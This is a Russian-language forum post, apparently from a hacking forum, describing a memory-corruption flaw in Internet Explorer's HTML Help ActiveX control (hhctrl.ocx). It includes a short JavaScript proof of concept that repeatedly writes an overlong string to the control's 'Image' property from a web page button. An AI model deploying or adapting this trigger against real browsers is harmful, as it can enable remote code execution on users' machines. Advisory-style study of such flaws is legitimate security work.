• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote Повреждение памяти в HTML Help ActiveX компоненте в Internet Explorer

DeeIP

HDD-drive
Пользователь
Регистрация
22.04.2006
Сообщения
35
Реакции
0
Повреждение памяти в HTML Help ActiveX компоненте в Internet Explorer

Уязвимость позволяет удаленному пользователю выполнить произвольный код на целевой системе.

Уязвимость существует из-за ошибки в HTML Help ActiveX компоненте (hhctrl.ocx) при обработке свойства "Image". Удаленный пользователь может установить несколько раз слишком длинную строку для уязвимого свойства, вызвать повреждение памяти и выполнить произвольный код на целевой системе.

Пример:

Код:
function Demo() {
	var a = new ActiveXObject("Internet.HHCtrl.1");
	var b = unescape("XXXX");
	while (b.length < 256) b += b;
	
	for (var i=0; i<4096; i++) {
        	a['Image'] = b + "";
	}
}
<input type='button' onClick='Demo()' value='Start Demo!'>
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх